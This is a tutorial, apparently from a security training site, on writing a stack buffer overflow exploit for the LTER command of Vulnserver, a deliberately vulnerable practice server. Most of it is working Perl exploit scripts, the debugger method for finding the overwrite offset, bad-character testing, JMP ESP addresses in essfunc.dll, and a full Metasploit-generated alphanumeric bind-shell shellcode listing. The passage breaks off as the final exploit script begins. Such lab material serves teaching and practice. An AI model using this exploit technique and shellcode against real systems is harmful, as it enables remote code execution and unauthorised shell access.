Hacking

Restricted Character Set Vulnserver Exploit Tutorial

Stephen Bradshaw
December 1, 2011 by
Stephen Bradshaw

This tutorial will cover the process of writing a buffer overflow exploit for a known vulnerability in the Vulnserver application. This is the sixth article in the Vulnserver series.

Vulnserver is a Windows server application that deliberately includes a number of exploitable buffer overflow vulnerabilities, and was designed to act as a target application to teach and practice basic fuzzing, debugging and exploitation skills. More information on Vulnserver, including a download link, is available here.

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

This tutorial covers how to confirm that a particular stack based overflow vulnerability is exploitable, as well as how to actually develop the exploit. The process of initially discovering vulnerabilities however is not covered in this tutorial. To learn one method by which such vulnerabilities can actually be discovered, you can check out a previous Vulnserver related article on fuzzing, available at the links below:

This tutorial will also assume that the reader has a reasonable level of skill in using the OllyDbg or Immunity Debugger debugging applications, as well as a basic knowledge of X86 assembly language. For those who are new to these debuggers, or who may feel they need a refresher in assembly, the required skills are covered in the following links:

Lastly, you will require a basic knowledge of how stack based buffer overflows are exploited. The particular exploit we will be covering in this article requires the use of some slightly more advanced debugger skills and exploitation techniques, and was written in order to build upon exploitation skills already taught in previous entries in this series of articles. You should check out the previous entries on exploiting buffer overflows in this series before attempting this article, especially the one linked below:

The remaining entries in the Vulnserver series are linked below:

 

System requirements and setup

The following software is required to follow along with this tutorial:

  • A 32 bit Windows System. I would suggest sticking to reasonably recent windows desktop systems such as Windows XP SP2 and up, Windows Vista or Windows 7, as these are the systems that I have personally tested. Windows 2000 desktop and server based systems may also work, but there are no guarantees.
  • Vulnserver on your Windows system. You can obtain information about the program (which should be read before use) and download it from here: http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
  • OllyDbg 1.10 on your Windows system. You can also use Immunity Debugger if you prefer, but just keep in mind your screenshots will appear slightly different to mine, and certain steps in this tutorial regarding OllyDbg plugins may not be able to be performed. OllyDbg can be obtained here: http://www.ollydbg.de/
  • An instance of the Perl script interpreter. You can run this on either your Windows machine or on a Linux attacking system. Linux systems should already have Perl preinstalled, but if you want to run it on windows you can obtain a Perl install for free from here: http://www.activestate.com/activeperl
  • A recently updated copy of Metasploit 4. You can again run this on either your Windows machine or on a Linux attacking system, although I recommend running it on a Linux system. See the following paragraphs for more detail. Metasploit can be obtained for Windows and Linux from here: http://www.metasploit.com/
  • A copy of netcat. Most Linux systems should already have one installed, you can grab a Windows version from here: http://joncraton.org/blog/46
  • A copy of the generatecodes.pl script from my website here: http://sites.google.com/site/lupingreycorner/generatecodes.pl.

 

My personal setup while writing this tutorial was to execute Metasploit commands and run my exploit Perl scripts from a Linux Host system running Ubuntu, with Vulnserver running in a Windows XP SP2 Virtual Machine. This means that command syntax provided in this document will be for Linux systems, so if you are following along on Windows you will have to modify your commands as appropriate. I have chosen to run Metasploit and Perl from Linux because components of the Metasploit framework can be broken by many of the common Anti Virus solutions commonly installed on Windows systems.

If your Windows system is running a firewall or HIPS (Host Intrusion Prevention System), you may need to allow the appropriate traffic and disable certain protection features in order to follow this tutorial. We will be creating an exploit that makes Vulnserver listen for shell sessions on a newly bound TCP port, and firewalls and possibly HIPS software may prevent this from working. Certain HIPS software may also implement ASLR, which could also be problematic. Discussing firewall and HIPS bypass techniques is a little beyond the scope of this tutorial, so configure these appropriately so they don't get in the way.

I am also assuming for the purposes of this tutorial that your Windows system will not have hardware DEP enabled for all programs. The default setting for Windows XP, Windows Vista and Windows 7 is to enable hardware DEP for essential Windows programs and services only, so unless you have specifically changed your DEP settings your system should already be configured appropriately. See the following links for more information:

 

My Windows Vulnserver system will be listening on the address 192.168.56.101 TCP port 9999, so this is the target address that I will use when running my Perl scripts. Make sure you replace this with the appropriate values if your Vulnserver instance is running elsewhere.

A note about using different Windows Operating Systems versions:

Be aware that if you are using a different version of Windows to run Vulnserver than the Windows XP Service Pack 2 system I am using, some of the values you will need to use when sizing the buffers in your exploits may differ from mine. Just ensure that you are following the process I use in determining buffer sizes, rather than copying the exact values I use, and you should be fine. I have indicated in the tutorial the areas in which you need to be concerned about this.

Overview of the Process

We will be using the following high level exploitation process in order to take control of this program:

  • Get control of the EIP register which controls which code is executed by the CPU, setting it to a value of our choosing,
  • Identify some code that will fulfil our goals for the exploit, and either find it on the target system or insert it into the program ourselves using the exploit, and
  • Redirect EIP towards our chosen code.

 

As in the previous article in this series on exploiting buffer overflows (see the links in the Introduction), this list of requirements acts as both the steps required to actually write the exploit, as well as determining if the vulnerability is exploitable. We will assess the given vulnerability to determine if these particular steps are possible, and once this is confirmed we will know that exploitation is possible and be well on our way to producing a working exploit. Those who are paying attention will note that the exploitation process described above has not changed at all from the previous entries in the series. Even as the exploits themselves become more complicated, the general steps for performing them essentially remain the same. It is only the techniques used in actually taking these steps that will change.

As mentioned during the Introduction, you should already be somewhat familiar with the general way in which buffer overflow exploits are written before you attempt this tutorial. The particular vulnerability we will be looking at today requires the use of a new technique in order to produce a working exploit. Implementing this new technique, and determining when using this technique might be useful will be the main focus of this tutorial. While I will still make reference to the basic exploitation techniques covered in the earlier articles in this series, I wont cover them in as much detail as I have done previously, so if you are confused by any of the initial steps in this article, please take the time to review the previous entries in this series. As previously mentioned, links are provided in the Introduction to the previous entries in this series.

Assessing the vulnerability

The vulnerability we will be attempting to exploit is a stack based buffer overflow in the parameter of the LTER command of Vulnserver. We can trigger an exception in the program by sending a LTER command with a parameter consisting of a long (~2010 characters or more) string including at least one full stop (.) character. To demonstrate this, we can use the following script, which will send "LTER ." followed by 2100 "A" characters (x41 in hex) to a specified IP address and port provided as command line parameters.

As we progress through the exploit development process, we will slowly modify this basic POC script into a full blown exploit. Save the following as lter-exploit-vs.pl.

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 2) {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$badheader = "LTER ."; # sets variable $badheader to "LTER ."

$baddata = "x41" x 2100;

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

Now Open vulnerver.exe in OllyDbg and hit F9 to let it run. Then, execute the script as follows to generate the exception within the debugger. (Remember to mark the script as executable using chmod!)

stephen@lion:~/Vulnserver$ ./lter-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

 

 

You should be greeted with the following in the debugger - an Access violation error will be shown at the bottom of the screen, and execution of the program will be paused within the debugger.

 

We can see that the EIP register has a value of 0x41414141, indicating that the data we have sent to the application has caused an overflow and has been used to directly overwrite EIP. So far so good, that's step one of the process complete already, we have control of the instruction pointer. Now let's use the pattern_create tool from Metasploit to create a pattern to find the offset within our sent data where EIP is overwritten.

For my output shown below I am piping the output of pattern_create into a small Perl script which will format it a little better with line breaks to make it more readable. You can feel free to avoid this if you wish and just paste the data directly into your skeleton exploit as we have done in previous entries in this series, however if you want more readable output the code I am using is below.

#!/usr/bin/perl

$ll=60;

while(<>){

@a = split //;

pop(@a);

for (@a) {

if ($c/$ll == int($c/$ll) and $str) {print '"' . $str . '"' . " .n"; $str=''}

$str.=$_;

$c++;

if ($c == scalar @a) {print '"' . $str . '";' . "n" }

}

}

 

 

Save the above code as split.pl and make it executable using chmod, then pipe the data from pattern_create into the script as shown below. Please note that the pattern_create tool might sit in another location on your system depending on what version of Metasploit you originally installed, and how you installed it, so modify this part of the command as required.

stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_create.rb 2100 | ./split.pl 

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3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g4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9" .

"Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9" .

"Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9" .

"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9" .

"Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9" .

"Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9";

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

Now restart Vulnserver in the debugger, hit F9 to let the program run and execute the exploit code once more.

stephen@lion:~/Vulnserver$ ./lter-exploit.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.

 

 

The program will crash, with EIP now pointing to 0x396f4338.

 

let's feed this value into pattern_offset to find out where in our data EIP is overwritten.

stephen@lion:~/Vulnserver$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x396f4338
2006

 

 

This tells us the overwrite occurred at 2006 bytes in to our data. let's modify our exploit to confirm this, and let's also try and add some additional bytes onto the end of this block of data to see if we can get enough room for shellcode after the overwrite. If this works, we should see EIP overwritten with 0x42424242 and hopefully a large amount of 0x43 characters on the stack after our entry that overwrites EIP.

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 2) {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$badheader = "LTER ."; # sets variable $badheader to "LTER ."

$baddata = "x41" x 2006;

$baddata .= "x42x42x42x42";

$baddata .= "x43" x (3000 - length($baddata)); # let's see if theres room for shellcode

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

Restart the program in the debugger and run the exploit one more. (From this point on I wont be listing the commands to restart the program in the debugger and run the exploit - Im assuming you know how to do this by now.) We should see the following in our debugger:

 

EIP has been overwritten with 0x42424242 and we see a large number of 43 characters on our stack. It looks as though we have more than enough room to introduce shellcode into this application for our exploit to run. Is there a way to redirect execution to this section of memory? Yes, as we have seen in previous entries in this series, the ESP register again seems to point to the address in memory that stores the data that followed the bytes that were used to overwrite EIP. This is fairly common in exploits that perform an overwrite of the return pointer stored on the stack. As before, we can use the address of a "JMP ESP" instruction sitting in a predictable location in memory to overwrite EIP and redirect code execution to this location.

As covered in the previous tutorials, we can look for this JMP ESP instruction by picking a module loaded with the application, such as essfunc.dll, viewing it in the disassembler pane, and performing a search using the right click Search for->Command option. One such "JMP ESP" is located at 0x625011AF. Restart Vulnserver in the debugger and use the F2 key to set a breakpoint at this location (the address should turn red)...

 

...and then modify your exploit code as follows. In the code below we have added our JMP ESP address to use in overwriting EIP, and we have also replaced the 0x43 characters with 0xCC INT3 breakpoints to cause our application to pause in the debugger when an attempt is made to execute this data as code.

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 2) {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$badheader = "LTER ."; # sets variable $badheader to "LTER ."

$baddata = "x41" x 2006;

$baddata .= pack('V', 0x625011AF); # JMP ESP, essfunc.dll

$baddata .= "xCC" x (3000 - length($baddata)); # let's see if theres room for shellcode

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

So far this is all pretty familiar stuff, covered in the previous tutorials in this series. Ensure your breakpoint at 0x625011AF is still active (restarting the program in the debugger may delete it, so check!) and let's see what happens when we execute this new version of the exploit:

 

Uh oh. After running this most recent version of our exploit, our breakpoint at 0x625011AF did not get hit, EIP is pointing to 0x62501109 and we have the program crashing with an access violation when reading memory at 0x41414135. What is going on here?

Let's have a closer look at our stack.

 

There's one thing here that we can immediately recognise as being wrong. Look at all those 0x4D bytes. We sent a number of 0xCC bytes to the application, yet in the area of the stack where we expect to see these 0xCC characters, we instead see 0x4Ds. Have our 0xCC characters been transformed by the application, or is this some sort of weird coincidence?

And look at address 0x00B6FA0C in the stack pane in the screenshot above. We see a pointer to 0x62501156 in essfunc.dll. That's very close to the 0x625011AF address we sent to the application for our intended EIP overwrite - only the final byte of the address is different. Did the 0xAF from the end of our overwrite address get mangled by this application in the same way as our 0xCC characters appear to have been?

You will also notice that some of the other entries on the stack don't appear to match the data that we sent, such as the present stack entry highlighted in grey in the screenshot above. One possible explanation for this is that execution of the application has been sent to a point within its code base (perhaps 0x62501156 if our predictions above are correct), resulting in stack operations being performed that modified the data previously stored in these areas of memory.

A likely conclusion that we can come to from these observations is that we might be dealing with a bad character problem here, whereby certain characters cannot be used in our exploit due to problems with the target application parsing them. How can we confirm that this is the case, and actually work our way around the problem to produce a working exploit?

Bad Characters

The simplest way to check if we are in fact facing a bad character problem here is to send a list of all possible characters to the application and see which ones are still faithfully represented in memory one the overflow occurs.

As you may be able to work out from our experience above however, we need to be strategic about the way that we do this in order to avoid any unpredictable outcomes caused by characters we send that turn out to be bad. To minimise the chance of bad characters causing problems, we will only use known good characters to actually perform the overflow, and we will insert the complete set of characters to test after this point. This minimises the opportunity for a bad character to potentially send the application down an unpredictable and invalid path, which might result in data on the stack (and potentially elsewhere) being modified. For the purpose of finding bad characters, we want the application to immediately stop executing as soon as possible after the overwritten return pointer is used, so we can see the contents of memory at this time in the programs execution, before anything gets changed.

Once this is done we can then examine the systems memory in the debugger at the time of the exception to see which characters made it through, and which did not. The characters that make it through unmangled will be considered "good", and the ones that do not will be considered "bad". If some of the characters that we sent in the previous version of the exploit are in fact "bad" then this might be causing the problem we experienced above.

Now to actually generate the list of characters to test for "badness" we can use a small program I wrote a while ago, specifically for this purpose, called generatecodes.pl.

All you need to do is run it and provide an optional list of characters you want to exclude, and it will print out all other characters in order from 0x00 to 0xFF.

I will run it to exclude the common bad characters 0x00, 0x0A and 0x0D. As usual, I am making an assumption that these characters are bad, because they often are. In the case of this exploit, making this assumption does not cause any great difficulties, because the use of these particular characters does not seem to be critical, nor do we need to be that precise about listing every character that is good for this exploit. If this was not the case I would make sure to actually test these characters to confirm whether they were good or bad. In some circumstances, which we may discuss in future articles, this might actually be necessary, but for this exploit, we can take a lazy shortcut and make some assumptions about these characters.

Here is how we can run the generatecodes.pl script to generate a list of characters to test.

stephen@lion:~/Vulnserver$ generatecodes.pl 00,0a,0d

"x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11"

"x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"

"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2f"

"x30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3e"

"x3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4d"

"x4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5c"

"x5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6b"

"x6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7a"

"x7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89"

"x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98"

"x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7"

"xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6"

"xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5"

"xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4"

"xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3"

"xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2"

"xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"

 

 

Now we can take the output above and paste it into our re-modified exploit as shown below. Don't forget to edit the output above to add a ";" at the end of the last line and a " ." at the end of every other line to ensure proper Perl syntax. We will send this list of bad characters to the application after a large series of 0x41 characters to lead up to the overwrite, and four 0x42 characters for the overwrite itself. We know these characters are good from previous experience, so using them in this fashion should maximise our chances of overwriting the return pointer and triggering an immediate exception, considering that 0x42424242 is an invalid memory address.

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 2) {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$badheader = "LTER ."; # sets variable $badheader to "LTER ."

$baddata = "x41" x 2006;

$baddata .= "x42x42x42x42"; # overwrite

# bad character test

$baddata .= "x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11" .

"x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" .

"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2f" .

"x30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3e" .

"x3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4d" .

"x4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5c" .

"x5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6b" .

"x6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7a" .

"x7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89" .

"x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98" .

"x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7" .

"xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6" .

"xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5" .

"xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4" .

"xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3" .

"xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2" .

"xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff";

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

Now restart Vulnserver in the debugger and run the exploit again.

The application should now crash with EIP pointing to the expected address of 0x42424242, and if you look at the stack you should see the characters we want to test counting upwards from one.

 

These characters will however be listed in the stack pane in little endian order (a feature of Ollydbg that takes into account the endianness of X86 compatible processors), so my preferred method is to view this data in the memory dump pane, which will show the characters in the same order in which they are stored in memory. Right click on the ESP register in the registers pane and select Follow in Dump.

 

You should now be able to see the data you have sent (the data located at the address in memory stored in the ESP register) in a more easily readable fashion.

 

A look at this memory dump will reveal something interesting. As soon as we get to byte 0x7F, we don't see the expected byte 0x80 following it, instead we see 0x01, followed by 0x02, 0x03 and so on all the way through to 0x80. For all characters over 0x7F the program seems to be subtracting 0x7F from the byte value sent. This essentially means that all characters over 0x7F are bad.

 

Is there something significant about the byte value 0x7F that might account for this? As it turns out, yes, there is, and the ASCII representation of the bytes shown above provides a clue to what that is. The byte 0x7F is actually the point where the ASCII character set terminates. This program is obviously only expecting to receive ASCII characters into this field, and somewhere in its execution it mangles any characters that don't fall into this range.

This limitation essentially means that to get our exploit to work, we can only use allowed characters within the 0x01 - 0x7F range (assuming that 0x00, 0x0A and 0x0D will probably also be bad and unusable). This means that both our address with the "JMP ESP" instruction AND our shellcode cannot contain these bytes. Is this going to be a problem? let's look at each part individually and see how we can work around this limitation.

Dealing with Bad Characters

First of all we need to find a "JMP ESP" instruction at an address in memory that does not require the use of any of our identified bad characters. We should already be somewhat familiar with the idea of this - we have already had to avoid the use of zero bytes in our overwrite addresses, as well as the 0x0A and 0x0D characters as well, we just now need to extend this idea and look for addresses that don't use a wider range of characters. To help in our search for a usable address, let's search for all "JMP ESP" instructions within essfunc.dll. Switch to essfunc.dll in the disassembler pane and right click and select Search for->All commands.

 

Now type "JMP ESP" in the window that appears and hit Find.

 

And a window with all the "JMP ESP" commands in the essfunc module will appear.

 

Looking at the addresses of the instructions, we can see two addresses that should be suitable, at 0x62501203 and 0x62501205. let's use the 0x62501203 address for our overwrite. Set a breakpoint at this address and let's modify our exploit as shown below to test if this address will work. (You will probably want to set the breakpoint after restarting the program in the debugger first, sometimes restarting a program in the debugger will erase breakpoints).

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 2) {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$badheader = "LTER ."; # sets variable $badheader to "LTER ."

$baddata = "x41" x 2006;

$baddata .= pack('V', 0x62501203); # JMP ESP, essfunc.dll

$baddata .= "x42" x (3000 - length($baddata));

$socket = IO::Socket::INET->new( # setup TCP socket - $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address

PeerPort => "$ARGV[1]" # command line variable 2 - TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket

 

 

Now run the exploit and execution should stop at your breakpoint at 0x62501203.

 

We have found an overwrite address that will comply with our bad character restrictions, the next step is to find a way to make our shellcode work within the character limitations.

Alphanumeric Shellcode

As it turns out, there are shellcodes and shellcode encoders written specifically to deal with the problem of alphanumeric character set limitations, and one such encoder exists in Metasploit!

If you run msfencode with the list encoders option, you will see encoders that deal with all sorts of limitations.

stephen@lion:~/Vulnserver$ msfencode -l

Framework Encoders

==================

Name Rank Description

---- ---- -----------

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command Encoder

cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

x86/context_stat manual stat(2)-based Context Keyed Payload Encoder

x86/context_time manual time(2)-based Context Keyed Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

 

 

Our allowed set makes both upper and lower case characters available to us, so we will use the x86/alpha_mixed encoder, which allows alphanumeric mixed case characters (e.g. upper and lower case). There is one thing to be aware of when using this encoder however - it is a Metasploit implementation of SkyLined's (Berend-Jan Wevers) ALPHA2 encoder, which needs to know its position in memory in order to function. By default, if you don't provide this information, the Metasploit implementation adds its own code to determine its position in memory to the start of the encoder, and this code is unfortunately not alphanumeric compatible. To work around this, we can provide a sparsely documented command line option "BufferRegister" to msfencode to specify a register that contains the position of the shellcode in memory. In this case, that register would be ESP, which contains the start address of our shellcode in this particular exploit.

Note: Props to the Metasploit Unleashed site for documenting this BufferRegister option. Until I ran across their entry mentioning this option I was using this ALPHA2 encoder via the original Python implementation, which while being quite workable is not quite as easy or convenient to use as msfencode.

We can generate some bindshell shellcode (listening on port 4567), encoded with ALPHA2 using the command below.

stephen@lion:~/Vulnserver$ msfpayload windows/shell_bind_tcp LPORT=4567 R | msfencode -e x86/alpha_mixed -t perl -b 'x00x0ax0d' BufferRegister=ESP

[*] x86/alpha_mixed succeeded with size 736 (iteration=1)

my $buf =

"x54x59x49x49x49x49x49x49x49x49x49x49x49x49" .

"x49x49x49x49x37x51x5ax6ax41x58x50x30x41x30" .

"x41x6bx41x41x51x32x41x42x32x42x42x30x42x42" .

"x41x42x58x50x38x41x42x75x4ax49x4bx4cx4dx38" .

"x4cx49x47x70x47x70x43x30x51x70x4fx79x58x65" .

"x54x71x4ex32x51x74x4cx4bx51x42x54x70x4ex6b" .

"x43x62x54x4cx4ex6bx50x52x45x44x4cx4bx54x32" .

"x47x58x54x4fx4dx67x43x7ax56x46x54x71x4bx4f" .

"x45x61x4bx70x4ex4cx47x4cx43x51x43x4cx47x72" .

"x56x4cx51x30x4bx71x58x4fx56x6dx56x61x4fx37" .

"x4dx32x4cx30x52x72x50x57x4ex6bx52x72x56x70" .

"x4ex6bx51x52x47x4cx56x61x5ax70x4cx4bx43x70" .

"x50x78x4fx75x4bx70x54x34x51x5ax43x31x5ax70" .

"x50x50x4ex6bx51x58x52x38x4ex6bx43x68x45x70" .

"x45x51x5ax73x4bx53x47x4cx51x59x4ex6bx50x34" .

"x4ex6bx47x71x4ex36x56x51x4bx4fx45x61x49x50" .

"x4ex4cx4bx71x5ax6fx54x4dx47x71x49x57x50x38" .

"x4bx50x43x45x4bx44x54x43x51x6dx58x78x47x4b" .

"x51x6dx45x74x52x55x4bx52x52x78x4cx4bx56x38" .

"x47x54x43x31x5ax73x52x46x4cx4bx56x6cx52x6b" .

"x4ex6bx43x68x47x6cx47x71x5ax73x4cx4bx45x54" .

"x4ex6bx43x31x58x50x4bx39x47x34x45x74x47x54" .

"x43x6bx51x4bx43x51x50x59x50x5ax50x51x4bx4f" .

"x4dx30x43x68x51x4fx51x4ax4cx4bx52x32x58x6b" .

"x4ex66x43x6dx51x78x56x53x47x42x47x70x45x50" .

"x52x48x51x67x54x33x47x42x43x6fx51x44x43x58" .

"x50x4cx43x47x47x56x45x57x4bx4fx49x45x4ex58" .

"x4cx50x47x71x43x30x43x30x47x59x58x44x51x44" .

"x56x30x50x68x47x59x4dx50x50x6bx43x30x4bx4f" .

"x4bx65x50x50x56x30x56x30x52x70x47x30x52x70" .

"x43x70x52x70x50x68x49x7ax56x6fx49x4fx49x70" .

"x49x6fx49x45x4fx79x58x47x50x31x49x4bx51x43" .

"x51x78x54x42x47x70x52x31x5ax77x4fx79x49x76" .

"x43x5ax52x30x51x46x50x57x45x38x5ax62x4bx6b" .

"x50x37x51x77x4bx4fx49x45x52x73x50x57x51x78" .

"x4cx77x4bx59x56x58x4bx4fx4bx4fx5ax75x43x63" .

"x43x63x56x37x52x48x51x64x5ax4cx47x4bx4bx51" .

"x49x6fx4bx65x52x77x4cx49x4bx77x45x38x54x35" .

"x50x6ex50x4dx45x31x49x6fx4ex35x43x58x50x63" .

"x52x4dx50x64x47x70x4cx49x4dx33x43x67x50x57" .

"x50x57x56x51x4cx36x51x7ax56x72x52x79x50x56" .

"x58x62x49x6dx45x36x49x57x43x74x54x64x47x4c" .

"x45x51x47x71x4ex6dx50x44x56x44x52x30x49x56" .

"x45x50x47x34x51x44x56x30x56x36x52x76x43x66" .

"x50x46x50x56x52x6ex52x76x50x56x52x73x52x76" .

"x43x58x50x79x5ax6cx47x4fx4cx46x4bx4fx4ex35" .

"x4cx49x49x70x50x4ex56x36x51x56x4bx4fx50x30" .

"x50x68x45x58x4ex67x47x6dx43x50x49x6fx5ax75" .

"x4dx6bx5ax50x4dx65x4cx62x56x36x45x38x4dx76" .

"x4cx55x4dx6dx4fx6dx4bx4fx4ex35x45x6cx47x76" .

"x51x6cx45x5ax4bx30x49x6bx4bx50x43x45x47x75" .

"x4dx6bx50x47x56x73x50x72x52x4fx50x6ax43x30" .

"x51x43x49x6fx58x55x41x41";

 

 

There we have it, shellcode, using only characters within the alphanumeric range, from 0x00 to 0x7f. Its a little large, but it does fit within our character set limitations! That code can now be pasted into our final exploit, as follows:

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 2) {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$badheader = "LTER ."; # sets variable $badheader to "LTER ."

$baddata = "x41" x 2006;

